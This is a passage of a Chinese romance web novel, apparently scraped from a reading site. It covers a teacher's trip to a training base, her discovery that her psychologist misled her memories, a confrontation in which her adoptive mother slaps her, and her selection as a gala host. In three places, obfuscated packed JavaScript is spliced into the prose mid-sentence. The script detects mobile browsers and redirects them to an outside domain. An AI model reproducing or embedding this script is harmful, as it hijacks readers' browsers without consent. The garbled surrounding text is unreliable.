这次大巴车走高速公路,比平日快半小时。 车上学生太多,陈夏柠觉得跟周祈越靠太近影响不好,就一直规矩坐在位置上,也让他规矩一点,连摸她手都不行。 本来快要睡着了,耳边传来海浪声,她猛然清醒,不用回头看也知道车在滨海公路上。 她手足无措地翻开包,搜罗出耳机戴上,放歌曲。 周祈越被冷落了一路,百无聊赖地阖着眼,谁知这姑娘忽然靠过来,整张脸埋在他胸膛。 “怎么,陈老师这会儿不注意影响了?” “......” 他胸腔起伏发出一阵轻笑,一转眼看见窗外的景色,把窗帘拉下,说了句“好刺眼啊”,抬手环在她腰上,说话只有她一人能听清,“你还有五分钟的时间占我便宜,要抱就抱紧点,懂么?” “......” 陈夏柠心慌得厉害,呼吸也有点不匀,扒拉着他领口,在他脖颈处咬了一下,让他见识到女流氓的厉害。“这才叫占便宜。” “......” 周祈越嘶了声,插科打诨:“我这一世清白彻底被你毁了。” 陈夏柠:“......” 车子停下,前座的学生纷纷下车,他们俩也不着急就这么坐着,陈夏柠摘掉耳机,很快调整好呼吸,从他怀中移开,两人拿好包下车。 因为上周台风的影响,原有的训练场受毁还在维修,陈夏柠先让海大的学生在基地门口集合,等林盛出来带他们进去。 陈夏柠把签到表传给学生,转身发现周祈越还站在一边没走,正儿八经地说:“周学长还有事么,以后海大的学生不劳您操心了。” 周祈越着实不适应一进入工作状态的陈夏柠,似笑非笑地看她,往前挪一步,嗓音低沉:“陈老师还没说怎么弥补我......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804021|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 弥补他的一世清白。 胆肥了! 在家里这样也罢了,现在旁边有那么多学生看戏呢。 陈夏柠气得脸涨红,猛地一把推开他,凉凉道:“周学长开始快去训练吧。” 周祈越脚步趔趄了下,噙着笑,单手抄兜转身往里面走,“那行,有事随时叫我。” 陈夏柠叹息一声,总算把他打发走了。 这时林盛一身军绿色作训服跑过来,“陈老师。” 陈夏柠朝他点点头,看向学生们,郑重其事地介绍他:“这位是我们海大特聘的教官,大家欢迎。” 同学们纷纷鼓掌,林盛简单自我介绍一下,随即带着学生去新的训练场。 陈夏柠先去基地办公室,训练基地人多混杂,每天来训练的人都要来签名登记。 她在墙壁上取下海大的签名夹板,登记今天来的人数和写日期,旁边来了一个人拿起搜救局的夹板。 是上次在食堂跟她起冲突的光头男。 光头男签完字,是先扭头搭话:“哟,好久不见啊,陈老师。” 陈夏柠动作稍顿,冷不丁道:“没期待跟你见面。” “......” 光头男继续说:“我好心劝你一句,早点跟周祈越分手,他没前途。” “砰”的一声,陈夏柠将夹板拍在桌面,一记眼刀,连带着吐出一个攻击力的字:“滚——” “......”光头男咧咧嘴离开。 陈夏柠把夹板放回原处,余光瞥见光头男刚签过字的地方——乔书杰。 这个名字...... 陈夏柠走回训练场的时候,好像想起这是谢泽说过的名字,那个自称大文豪乔书杰,为了教训他欺负谢泽,周祈越才去竞争文学社社长的职位。 不过,那个人不是学文学的吗,怎么会在这当飞行员。 应该不是同一个人吧。 同学们都很听话,对于基本的训练已经熟练,林盛随便测试他们一下,没有人掉队的。 林盛给他们五分钟喝水的时间,陈夏柠拍了几张照片,顺便给他也拿一瓶水,以校方的身份慰问:“林教官还适应基地生活吗?” “挺好的。”林盛拧开瓶盖喝了口水,“这个训练场有很多海大的校友,其他的就是航空大学的了。” 陈夏柠站在他旁边,望着头顶干净湛蓝的天空,“其实我还挺惊讶的,你毕业后当飞行员去了。” 林盛和江逸风高中就认识了,玩得不错,最后同考到海大学航海技术专业,有时候江逸风聚会会带着她,一来一回,陈夏柠也算和林盛认识了,虽然称不上什么朋友。 “我们当时毕业的要求就有一项规定,考上飞行驾驶证。”林盛说,“后来毕业的时候出海不景气,我只能去民航摸爬滚打了。不止我一个人,我们班很多同学都选择当飞行员了,最初也是因为待遇比较好吧。” “说到这,你认不认识乔书杰,就光头的那个,感觉他跟一个学长撞名了。”陈夏柠随口说,“不知道他是不是我们学校的。” “不是撞名,就是他。”林盛笑了笑,对这人有印象,“那家伙曾经自称大文豪,因为嫉妒一个学长,把自己惹得臭名远扬,差点想转专业,后来不知怎的,喜欢上玩飞机,毕业后学了两年,这不应聘到搜救局了。” “原来真是他......”陈夏柠低喃,周祈越和乔书杰真是冤家路窄啊,乔书杰现在对周祈越的恶意肯定是因为学生时代的那些事。 “我挺佩服他这跨度和毅力的,就是他这人,”林盛顿了一下,“挺急躁,功利性很强,感觉他学飞行是为了证明自己,不是真正热爱这一行。” 陈夏柠哼哧一声,反正就觉得他很讨厌,不只是因为他和周祈越的私人恩怨。 林盛转移话题:“对了,听说你和周祈越在恋爱啊。” 看来整个基地无人不知了,那么江逸风对周祈越了如指掌应该是林盛告的密吧。 想起这一茬,陈夏柠恍然意识到不能和他聊太多,只是点头嗯了声。 “能放下挺好的,江逸风原本就不是什么好人。”林盛口中冒出这一句,陈夏柠差点以为自己听错了,他们不是好朋友吗。 她正想说什么,休息时间已到,林盛已经跑过去和学生集合了。 陈夏柠也没继续待在训练场,晚上学生们会进入夜间训练,明天早上才能回校,所以她午饭后可以自行回去了。 她提前点好两份外卖,陪周祈越吃完午饭,就准备回去了。 “那你到家给我打个电话。”周祈越不太放心地说,“要不等到晚上我跟你一起回去?” 其实这样也可以,但下午她和徐医生约好了。 “我又不是小孩子了,打个车就回家了。”陈夏柠嘟着嘴,找好由头,“我觉得这基地太没意思了。” 她这话像是一概而论基地的所有,周祈越放下筷子,好整以暇地看她,扣起字眼反问:“是不是连我也觉得没意思了?” 陈夏柠:“……?!” 74. 谎言 “我没这个意思......”陈夏柠好笑地看他,周祈越惯会用难为人的招数撒娇,此刻他正歪头,眼神中带着明晃晃的暗示——哄我。 嗯.....该说什么哄他呢,反正那些肉麻的话,陈夏柠总觉得难以启齿。 周祈越还在等着她,为了表显明显点,身体往前倾,脸凑了过去。 两人在他宿舍吃饭,中间就隔了一个小方桌,陈夏柠注意到他这举动,露出了然的神色,说了句:“张嘴。” 周祈越唇角弧度上扬,心想奖励这么大的嘛,看来这几天没白教这姑娘。 他刚闭上眼睛,下一秒,陈夏柠捞起筷子往他嘴里塞了个东西。 咬着牛肉丸子的周祈越:“......” 他整个人石化将近三十秒,一边嚼着牛肉丸一边虎视眈眈地瞅着她。 行吧,就不该抱期望,这姑娘能短时间开窍。 “好了,我吃完了。”陈夏柠以为这就把人哄好了,安心掏出手机打车,难得页面加载三秒,就有人接单往基地这边过来。 周祈越正收拾桌上的残局往塑料袋里装,她拉开凳子起身,拿好包,“我先走啦。” 陈夏柠从他宿舍出来,刚走两步,回头看一眼身后的周祈越,“你不用送我,早点午睡吧。” 周祈越一脸“我才不是送你”的表情,晃了晃手中的垃圾袋,淡淡道:“我去扔垃圾啊。” “哦。”陈夏柠没多想,继续往前走。 到了基地门口,两人脚步一并停下,陈夏柠又朝他眨了眨眼睛,只见周祈越脚步未挪,手臂朝着某个方向一掷,“砰”的一声,塑料袋进入垃圾桶。 男人拍了拍手,理所当然地解释自己的行为:“扔完了。” 陈夏柠:“......” 扔个垃圾还硬耍帅。 而且你用得着大费周章来基地门口扔吗? 就是不愿意承认是来送她是吧。 她也不知道周祈越在傲娇什么,视线落在他锁骨上发红的牙印,惊讶自己下口还挺重。 下一刻,陈夏柠上前揪住他的外套两边,周祈越僵在原地,喉结滚了下,垂眼看她动作。 “大冬天的,你不冷么。”他的夹克都是敞开的,她将底下的拉链提到顶端,刚好盖住那个牙印,随后又想起早上他问怎么弥补的事。 想了三秒,陈夏柠凑到他耳侧轻语:“那下次我让你咬回来。” “......” 话语刚落,身后传来一阵风和车轮胎擦地的声响,是车来了。 陈夏柠讪讪地松开了他,周祈越晃过神,上前给她拉车门,关上,随后走到车尾,拿手机拍下车牌号。 车子启动,陈夏柠凑到车窗摆手,示意他快回去午休。 周祈越跟她挥了挥手,眼角弯着,心里想的是—— 傻瓜,你什么时候能不这么懂事,跟我撒撒娇。 - 坐上车后,陈夏柠赶紧戴上耳机听歌,按着手机的音量加大,因为前方就是沿海公路。 她没往窗外看,闭上眼转移注意力,让自己沉浸在歌曲中。 过了一会儿,陈夏柠身体微微前倾,感受到车子停下,睁开眼的瞬间,司机大叔正扭头跟她说话,她将耳机摘掉,茫然道:“怎么了?” “姑娘,下车吧。” 这才注意到引擎盖正在冒白烟,陈夏柠急忙拉开车门下去,站在车尾后面。司机熄灭车,下车检查状况,随后走过去跟她说:“我这车一时半会走不了了,只能叫拖车了,实在不好意思你再另叫车吧,我把钱退你。” “哦好。”陈夏柠低叹了声,沿着路边往前走,点开各种打车APP都显示附近没有接单车辆。 怎么办,要给周祈越打电话吗,他这个时间已经在天上开飞机了吧。 陈夏柠正犹豫着,一辆黑色宾利闯进视野,立马认出是江逸风的车。 有了上次起冲突的经验,她下意识想跑,而江逸风速度更快,不由分说地下车,拦在她面前,“没什么意思,爷就载你一程,这地方你也打不到车啊。” 陈夏柠扫视了眼四周,虽然路边有植被遮挡,但她依稀还能听到细微的海风,也不知怎么回事,在朝阳岛的时候她也没这么敏感,现在只要听到一点点海浪声,她就会感到生理不适。 她知道自己的情况真的加重了。 但此刻对江逸风半信半疑,陈夏柠双手握紧手机,低头看着地面,视线已经有重影了。 “真的,我保证不做什么。”江逸风顺手将后车门打开,让她放松警惕,“你坐在后面。” 陈夏柠着急去见徐医生,眼下也没别的办法了,暂且相信他一次,倾身坐进去。 江逸风窃喜了下,关好门,自己也上了主驾驶,启动车子问:“你想去哪?” 透过后视镜看见,陈夏柠侧躺在后座,有气无力地说:“找徐医生。” 江逸风心口一紧,大概知道什么状况了,用最快的速度带她去暖夏心理医院。 ...... 催眠室里,徐亮打了个响指,先播放一曲轻缓的音乐让她放松,然后按照语言指令让她进入半睡半醒的状态。 徐亮问:“告诉我,你现在身处什么地方。” 陈夏柠慢悠悠地回:“我在海景房的阳台上看日落,旁边有个朋友,我看不清他的脸,我想知道他是谁。” 徐亮:“他在干什么?” 陈夏柠:“他吃芒果,还在冲我笑,问我要不要吃。” “这个小男孩你认识,是你的竹马,江逸风。”徐亮说,“你想想江逸风小时候的样子就看清他了。” 陈夏柠不语,没有任何反应,徐亮又重复了句,下一秒,陈夏柠直接睁开眼,愣是把他吓一跳。 她从躺椅上坐起身,打量着徐亮惊恐的神色,“徐医生,你不会真觉得你把我催眠了吧。” 要想催眠一个人,前提得是让他信任你,而不是提前就带着警惕心。 陈夏柠刚刚也是在装作配合他,演了一场戏,编造了一个梦境。 她的梦里根本没有什么海边别墅,江逸风对芒果过敏,也最讨厌芒果,根本不能在吃芒果。 不,现在她觉得那不是虚幻的梦,而是真实发生被遗忘掉的记忆。 “我很好奇,江逸风到底给了你多少好处,让你从小就误导我的记忆。”陈夏柠站起身审视着他,将心中的疑虑全部说出来,“或者还有谁给了你好处,让你压根没好好地治疗我?” 徐亮倒吸一口气,额头冒冷汗,表现得已经不能再心虚,斟酌了一会儿说:“你有什么问题去找你萧女士问吧,我只是一个医生而已。” 看来从徐医生口中问不出什么了,陈夏柠气冲冲地离开催眠室,江逸风就在电梯口等她。 两人坐上电梯,江逸风关怀地问:“怎么样,治疗还顺利吗?” 陈夏柠一副“很顺利”的表情,现场又编了个小故事:“我突然想起小时候我们在海边放风筝,最后风筝挂到椰子树上了。” 江逸风附和道:“嗯,你要是怀念,我可以带你去公园放风筝。” “......” 陈夏柠佯装镇定地盯着某处。 天呐,过去她怎么没发现自己一直活在谎言中。 曾经的那些人好像都在骗她。 暖夏心理医院和基金会分别是两栋相邻的大楼,划定在一个院子里,反正来都来了,陈夏柠想趁机去隔壁找宋律师聊一下遗产处理问题。 她停在基金会门口,看了眼江逸风,“今天谢谢你了,你走吧。” “看在爷帮你的份上,同意我的好友申请。”江逸风点开微信现场发了个好友申请,朝她努努下巴。 挡在他面前,要是不同意,就不放她走了的意思。 陈夏柠咬了下唇,想着先应付过去,点击同意,“行了,你可以走了么,我还有事。” “嗯,去吧。”江逸风点头满意地让道,望着她跑进去的背影,补了句:“你要是再删我,我就天天去学校堵你啊。” “......” 这不是陈夏柠第一次来暖夏基金会,以前爷爷在世的时候带她来过几次,她记得法务部门的位置在三楼。 现在每层楼都设有接待员了,小姐姐说宋律师有客人,让她先等一会儿。 “嗯好。”陈夏柠正要往旁边的小型沙发上坐等,小姐姐看宋晏刚好出来,“宋律师,这位女士找你。” 陈夏柠闻声望过去,一整个僵住了。 原来宋晏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808983|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客人是萧婷,两人一同出来的。 她根本来不及收回目光,萧婷也看见她了,大步流星地走过来。 萧婷的气场还是和以前一样强,见到她,陈夏柠心跳往上提,捏了捏衣角,像小时候那样畏惧她。 “怎么,不知道叫人啊?”萧婷锐利的眼睛睨着她,陈夏柠都能联想到她下一句要说,小时候我教你的礼貌全忘了?! 陈夏柠怯生生开口:“妈......” 萧婷裹紧肩上的皮草披肩,拎着一个限量版LV,随意地捋了下耳边的碎发,耳朵上还戴着翡翠耳钉,说话时刻咄咄逼人:“来这干什么。” 陈夏柠瞄了眼她身后的宋晏,本想不透露自己的来意,萧婷精明地看穿她所有心思,转身朝宋晏笑了笑:“宋律师先回去吧,我们母女叙叙旧。” 宋晏面色凝重地点头,每回陈家人来问遗产的事,前有陈慧棠,现有萧婷,一个个都不是好糊弄的茬,快把他逼疯了。 两人来到较为安静的安全通道,陈夏柠抢先开口说:“我去找过徐医生了,是不是您指导他从小误导我?” 萧婷倒是很镇定,面色不改地看她:“怎么,我费劲心思地给你找最好的心理医生看病,你现在反咬我一口,质疑我,你就这么报答我的养育之恩啊?” “我没有——”话音未落,“啪”的一声,火辣辣的一巴掌落在她脸上,陈夏柠措不及防,完全懵了。 就这么被打了一巴掌。 “别以为我不知道你来干什么,存的什么心思。”萧婷恶狠狠地盯着她,边说边上手推她,“要不是我养你,你一个孤儿早就流落街头,哪还轮得着当千金小姐,吃好的穿好的,接受最好的优质教育,你现在所有的成就都是我给你的。” “我告诉你,你最好识相把遗产交出来,我就当你报答这么多年的养育之恩。” 陈夏柠捂着左半边脸,原以为她都能不受这些话的影响了,可是眼前的这个人是“疼爱”她多年的妈妈,当妈妈辱骂她的时候,心里还是会很难过。 “我有让你养我吗?!”陈夏柠眼睛发红,拿开手,瞬间爆发,“为什么带我回陈家,为什么要把我当成一颗你争夺家产的棋子?!” ...... 厚重的云层掩盖夕阳最后一缕光,冬日的夜晚萧条凝重,冷风呼呼地撕扯着一种哀嚎。 陈夏柠拖着沉重的脚步进门,将外套和包扔在沙发上,径自往浴室里进。 她站在花洒下面,拧开开关,“哗啦”一声,热水如瀑侵泄而下。 陈夏柠靠在墙壁,双腿瘫软下去,目光呆滞,流不出一滴眼泪。 耳边反复萦绕萧婷说的那些话—— “能成为一颗棋子也是你的荣幸,没有利用价值的人就活该去死。” “你不是已经去澳洲了吗,怎么不安分地待在那,还回来做什么?来争夺财产,报复我,专门跟我作对是吗?” “......” 也不知在里面待了多久,陈夏柠简单吹了下头发,随便抓了件睡裙出来。 望着黑漆漆的客厅,心里依旧堵得慌,哪怕哭一场都比现在好受。 她从矮柜里找出教师节学校发的香槟酒拆开。 周祈越输入她家密码,推开门进来时,玄关处的灯亮着,昏暗的客厅传来窸窸窣窣的玻璃瓶相碰的声响。 他放轻脚步走进去,打开客厅的灯,看见陈夏柠就蹲在地毯上,靠在茶几边,双手捧着酒杯往自己口中送。 她孤零零地一个人在借酒消愁,即使灯光大亮,好像也是被黑暗笼罩着。 见到这场景,周祈越心脏猛地被扯了下,走过去蹲在她面前,拿过她酒杯,“柠柠。” “诶,周、祈、越。”陈夏柠瞪大眼睛,双手捧着他的脸,歪头看他,傻笑着,“我不是在做梦吧,你怎么回来了,不是在基地宿舍睡嘛。” 周祈越的脸被她蹂躏着,慢条斯理地说:“我给你打了几通电话你都没接,我不太放心就回来了。你怎么在这喝酒啊,不开心么?” 话间注意到她穿着一件单薄的粉白色吊带裙,拿起沙发上的一件毛毯给她披上。 陈夏柠像个顽皮小孩,打掉身上的毛毯,双手勾在他脖颈,嘿嘿一笑:“你亲亲我,我就开心了。” 75. 天选之子 周祈越定睛一看此时的陈夏柠,微仰着头,因为喝了酒,面色潮红,像一只呆萌的小白兔,撒娇的小姑娘。 其实没有女孩子不会撒娇,只是平日她不习惯,也从不敢在人前撒娇。 周祈越在她涟漪的红唇碰了一下,蜻蜓点水似的,随后揽着她肩膀把人往上提,“地上凉,快起来。” 陈夏柠晕晕乎乎地站起身,根本站不稳,左右摇晃,直接上前环住男人劲瘦的腰身,侧脸靠在那个让自己想依靠的温热的胸膛。 眼瞧着她下一刻就瘫软下去,周祈越双手搭在她腰侧拖住她,既不能太用力也不能太轻,这个动作很难受。 但陈夏柠却很享受的样子,额头挠痒痒似的蹭着他,倏然开口喊他名字:“周祈越,我想问你一个问题。” 他也不着急把人送回屋,耐心听她说话:“嗯?” “你学生时代暗恋的那个女孩,”陈夏柠嗓音沉闷,虽然看不清她的表情,但也能感受到她情绪点很低,顿了几秒,“你说,她呆呆的也很憨......你为什么喜欢她啊?” 以往的经历告诉她,呆呆笨笨的女孩往往不讨人喜欢,老师家长觉得这类人不聪明,说得更清楚点,就是傻。 这样的人往往会被男生定义为无趣,还会遇到一些人利用她的单纯。 周祈越轻笑了下,掌心揉着她发顶,带着点安抚的意味,没个正经地说:“那我说了,你可别吃醋啊。” “......” 换做其他人,陈夏柠即使口上不说,心里也得偷偷酿醋,可现在她是知道了自己就是他曾经的暗恋对象,豪迈道:“我哪有那么小气。” “你快说。”她瓮声瓮气,作恶似的掐了下他后腰。 周祈越一手环住她的腰,抽出一只手将她的头抬起来,两人视线缠绕,他缓缓道:“喜欢一个人是不需要理由的,因为你是你,因为我只想喜欢你。” 原本陈夏柠是哭不出来的,尽管心口疼得撕心裂肺,压在身躯的那口气快要把自己逼死,可是听到这句话,她眼眶一下子热起来。 可能就像萧婷所说的,没有利用价值的人就活该去死。 所以这几年,她与人相处都是淡淡的,也从不抱希望有人会一直喜欢她,会一直陪着她。 从来没有人像周祈越这样,对她的好,只是因为想对她好,不为别的什么。 紧接着,所有的一切都不可控,肩膀剧烈抽动,泪水喷涌而出,小姑娘一边狂摇头一边哭着觉得自己承受不住这份真诚的对待:“你骗人,你在哄我对不对......” “他们都不是真的喜欢我。”说到这,陈夏柠又想起在澳洲遇到的追求者,“那些人刚开始对我很好,没过几天就提出要跟我做/爱。” “......” 其实在遇见周祈越之前,在澳洲的三年,陈夏柠生出了厌男思想,因为外国人太开放了,那些男的直白地表达自己的欲望,刚认识一天就发生关系的,不止国外常见,国内也是。 或许是她太保守了,发自内心地厌恶这种,厌恶大家对待感情这么随便。 随随便便地就可以出卖.肉.体。 她遇见的很多异性,大多都是带着不单纯的目的性。 后来才明白,江逸风换那么多女朋友不就是因为那点黄色废料嘛。 这姑娘把他的衬衫都哭湿了,周祈越扶着她坐沙发上,拿着纸巾给她擦眼泪。 “我刚到澳洲的第一年,在一家咖啡馆打工,”陈夏柠这会儿情绪上头,难得愿意提起曾经的经历,“到了结工资的日子,那个老板说,要想要工资就得跟他睡,还跟我说其他女孩都是这样做的。我当时立马恼火,用热咖啡泼他一脸。” “......” 周祈越呼吸凝重,点头嗯了声,“你做的没错,这种人就该打。”顿了三秒,又说:“所以这就是你不喜欢澳洲,要回国的原因?” 陈夏柠哭出来后心里好受了些,靠在他肩膀,似乎也没了力气,“其实还是因为......” “因为什么?”周祈越再扭头看她,这姑娘已经睡着了,肩上的吊带堪堪掉落,胸前那处要露不露,沟壑明显。 他视线很快转向别处,手指缠绕过去将她的肩带提上去,随后轻手轻脚地勾着她的腿窝,把人抱在怀中往卧室进。 每次抱陈夏柠的感觉就是她很轻,就算平日给她做好吃的营养餐,这姑娘也不长肉,不吸收营养似的。 周祈越把她放回床上,用被子裹着她,把人包得跟春卷似的。 他起身去门口墙壁处,将空调温度到舒适的28度,转回来看她,她睡着觉还在流眼泪。 冬日的冷冷风总算消停,皎洁的月光穿透玻璃窗,照亮卧室一隅。 周祈越蹲在床前用纸巾给她擦眼泪,自己眼梢也溢出红,眸色暗沉,弓着脖颈沉重地呼出一口气。 听到她说这些,他心口跟着一抽一抽地疼,也不知道她今天受了什么刺激,让她这么难过。 不曾想即使逃离了那个家庭,她在国外过得还是不好。 甚至让她不相信有人真心喜欢她所有的样子。 - 次日陈夏柠睡到自然醒,在被窝里挣脱了好半会儿,才把自己从春卷里抽出来。 这架势,好像她又做了什么流氓行为,被五花大绑起来了。 她按了按迷糊的脑门,双脚落地找到拖鞋,拖着懒洋洋的身体往外走,每向前一步,昨晚醉酒的画面就愈发清晰。 直到进入洗漱间,看着镜子自己的样子,彻彻底底想起昨晚那个疯狂对周祈越撒娇哭诉的自己。 啊啊啊啊啊。 救命!救命! 好丢人。 陈夏柠崩溃地捂了下脸颊,没脸想没脸想。 她挤牙膏在牙刷上,慢条斯理地刷牙,本来酒后胃里就不舒服,现在又有牙膏的刺激,直接对着舆洗池呕吐,肚子里什么东西没有,全是水。 周祈越刚给她做完早饭,正想去卧室喊她,听到洗漱间的动静,走了过去。 陈夏柠正弯着腰,抬眼看见镜子出现他的脸庞,急忙用纸巾擦了下脸,周祈越将一杯温水放到池子边,“洗完出来吃早饭,我熬了黑米粥。” 陈夏柠也是在洗漱间磨蹭了一会儿,做好心理建设,维持着表面的镇定去客厅坐着。 周祈越把粥端在茶几上,此刻一坐在那个位置就感觉,昨晚的场景在眼前现场直播似的。 陈夏柠一手端碗一手握勺子,低头喝粥,心虚得不敢看他,“你今天不用工作么?” “不用。”周祈越简短地吐出两字,多余的也没说了。 “哦。” “......” 陈夏柠总觉得他在看她,应该是用那种青天大人审问犯人的目光。 周青天一定在盘算着庭审词,专门用来质问陈犯人——“不是说不许喝酒吗?昨晚什么情况?!该当何罪?!” “......” 陈夏柠脑补了下接下来的场景,只想赶快喝完溜走,大口喝着,下一刻就呛着了,咳嗽了两声。 周祈越低不可闻地叹气,倾身挪过去,抢过她手中的碗和勺子,亲自把粥喂到她嘴边,“娇气包。” “......” 陈娇气包凑够去小口抿着粥,不做任何狡辩。 周祈越喂了她两口,又开口极为认真地问:“你是不是有酒瘾?” 陈夏柠:“......” 好了,短暂的几分钟,她成为了犯人、娇气包,还有酒瘾。 欲加之罪何患无辞。 不能坐以待毙了。 陈夏柠斟酌了下,怯生生解释:“我昨晚就是太累了,洗完澡后想放松一下,想起家里有上次教师节发的香槟,然后就喝了两口。” 周祈越放下碗勺在桌上,挑着眉,冷冷地睨着她:“你那叫喝了两口?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝朗月:【就是今年元旦汇演的主持人要求每院选老师上去,哪些教授又没这闲心,可不得轮到辅导员上了嘛,我就被选上了?】 Lemon:【啊我刚知道,你们外院怎么选的。】 祝朗月:【抽签啊!我们办公室在群里扔骰子,谁最小谁去,我最小,然后改成谁最大谁去,我最大。呜呜呜呜我运气太衰了!】 Lemon:【天选之子[偷笑]】 上午趁着工作空隙,陈夏柠给程淑琳写了一封邮件发过去,也不知能不能收到她的回复。 临近中午饭点的时候,鹿雯探头过来,“想吃什么,今天我请客。” 陈夏柠轻笑了下,正想问她今天有什么喜事要请客,办公室的门扣扣两下,坐在门口的林思应了声,一看见是王书记,鹿雯瞬间将头扭回去,佯装忙于工作的样子。 王书记站在办公室中间,眼波在四人间转了一圈又一圈,才说明自己的来意:“元旦晚会要选一位老师主持,其他院都选好了,我问了一下文艺部,他们说还差个女老师,我就直接剔除隔壁办公室了。” 意思是,就在她们四个人间筛选了。 在此刻四人的表情就可以看出谁感兴趣,谁不感兴趣,只有林思脸上带着跃跃欲试,想让书记选她的意思。 陈夏柠心想刚好,有人自告奋勇。 王书记看了眼林思,还忌惮着上次吴洵闹抄袭的事儿,林思的为人怎样,他心里有杆秤。 这次元旦主持说大不大,说小也不小,派出去的人可是代表航海学院,怎么着也得找靠谱的人。 沉默的空气忽而被搅动,王书记突兀地来了句:“陈老师,就你吧。” 陈夏柠瞳孔地震。 离谱,还能这样??? 直接跳过抽签,就定了她这个“天选之子”。 76. 小提琴合奏 “我、嘛?”陈夏柠指着自己,拖长尾音,字里腔调的犹疑又像在祈求书记收回成命。 “对,就你了。”王书记一板一眼地点头,“陈老师形象不错,就当是一次历练的机会,咱学校这次元旦晚会可是要上市电视台直播的。” 听完后半句,陈夏柠更不想去了,瞥了眼泄气的林思,也不想因为这事让两人隔阂更大,想趁此推卸掉,再随口说,林思主持过开学典礼,有经验之类的话。 事实证明对方根本不屑于他人施舍,主动举手争取机会:“书记,那我负责我们学院节目的统筹吧,帮同学们排练大合唱。” 陈夏柠张开的口又赶紧闭上,仔细一想,就算说出来,别人也未必领情,反倒会曲解你的用意。 “行。”王书记话语刚落,放学铃声就打响了,说了声去吃饭吧,转身就走了。 林思和宋月也先后离开。 鹿雯说要请客,手机没电了,正在翻箱倒柜地找充电宝,边跟她搭话:“看到王书记这么器重你,我就放心了。” “什么意思?”陈夏柠记得自己也有充电宝的,先后拉开办公桌左边的抽屉格,一时间屋内混杂着细微的摩擦声和清晰的谈话声。 但很明显说话声更清晰些,林思本想回家吃饭,刚下一楼想起车钥匙没拿,原路返回听到鹿雯那句“你考察期肯定会过的啊”,旋即止住脚步在门外。 辅导员的考察期表现,直属上司有很大的话语权,陈夏柠慢悠悠地说:“但你不是说书记这学期结束了就离职么?” “对啊,你和林思一同入职,这学期结束也快一年了吧,”鹿雯总算找到了充电宝,站起身收拾包,“王书记很负责的,他肯定会把所有事交代好再走,反正他满意的人一定会留下,比如我就是啊。” 陈夏柠点头哦哦两声:“差点忘了你也是他带出来的,不过王书记离职还挺舍不得......” 瞄见两人要出来,林思没再继续听下去,悄然转身去最近的洗漱间躲一下。 陈夏柠和鹿雯没去太远的地方,就去学校附近口碑较好的火锅店,冬天吃火锅够暖身。 “快跟我说说,你今天怎么这么高兴啊?”陈夏柠拎起筷子往锅里下食材,并把熟了的羊肉卷夹到鹿雯盘子里,只要是和朋友一起吃饭,她总会主动拦下这些活。 鹿雯说了声谢谢,又酝酿了十秒,笑意盈盈地说:“我带谢泽见我爸妈了。” 陈夏柠会心一笑:“看你这表情,你父母对谢泽很满意咯。“ 鹿雯:“嗯嗯,我爸妈很满意他的工作,觉得他人也挺好,主要是很听我的话。” 谢泽是富二代,鹿雯家庭也不错,父母皆是大学教授,两家人的确很登对,抛开这些外在条件,最重要的还是两人彼此喜欢,鹿雯把谢泽拿捏得死死的。 想到这些,陈夏柠笑着打趣道:“以后你俩结婚了,谢学长肯定是老婆奴。” 鹿雯露出傲娇的小表情:“以后老公是不是他还不一定呢。” “这都见父母了,你说嘴硬呢。”陈夏柠揶揄她一声,这火锅底料辣得自己眼泪都要流出来了,急忙捧着酸梅汁喝。 鹿雯动了动鼻子,将话锋陡转:“那你和周祈越呢,你爸妈满意他吗?” 陈夏柠牙齿磕到杯沿,啊了声,一阵轻微的疼痛在下齿蔓延。 鹿雯:“没事吧。” 陈夏柠放下杯子摇了摇头,她从没和鹿雯提及过自己的父母,也没人知道她是陈氏集团的假千金。 “我跟他...还早吧。”她随便扯了一些理由,“我们今年刚认识,在一起也没多久,而且我俩工作的事也还没定下来。” “其实时间不是问题,只要认定了那个人,早晚都会结婚。” 鹿雯一手拖着半边腮,一手夹菜给她分析道:“你肯定能转正,而周祈越呢,虽然目前凌极号的调查一直没结果,但他现在已经当上了搜救局的机长,其实也挺好的,是金子到哪都会发光。” “嗯。”陈夏柠不置可否,专心夹菜吃饭。 对于未来,她始终不敢有太多幻想,毕竟希望越大失望越大,就让一切顺其自然吧,感情的事讲究水到渠成。 “对了,你知道周祈越的家庭吗?”鹿雯坐直了身体,双手激动地拍桌,“我也是最近从谢泽那套出来,想不到周祈越藏得这么深啊......” ...... 进入期末周学生忙,老师也忙,整个学校都充斥着“忙碌”两字。 陈夏柠会趁着晚自习他们复习的时候,去班里提醒两句:“你们老实点啊,作弊后果很严重,我可不想听见谁带小抄被抓了,到时候我也救不了你们。” 班里几个活跃的男生点头如捣蒜:“好嘞,小的遵命!” “......” 陈夏柠忍住笑,大致清点了下人数,除了几个平日要去艺术楼排练元旦节目的同学,其他人都到齐了。 思及此,她也得去排练的,于是转身去了趟艺术楼,现在节目安排除了个别老师,大多都是学生会的学生在忙碌。 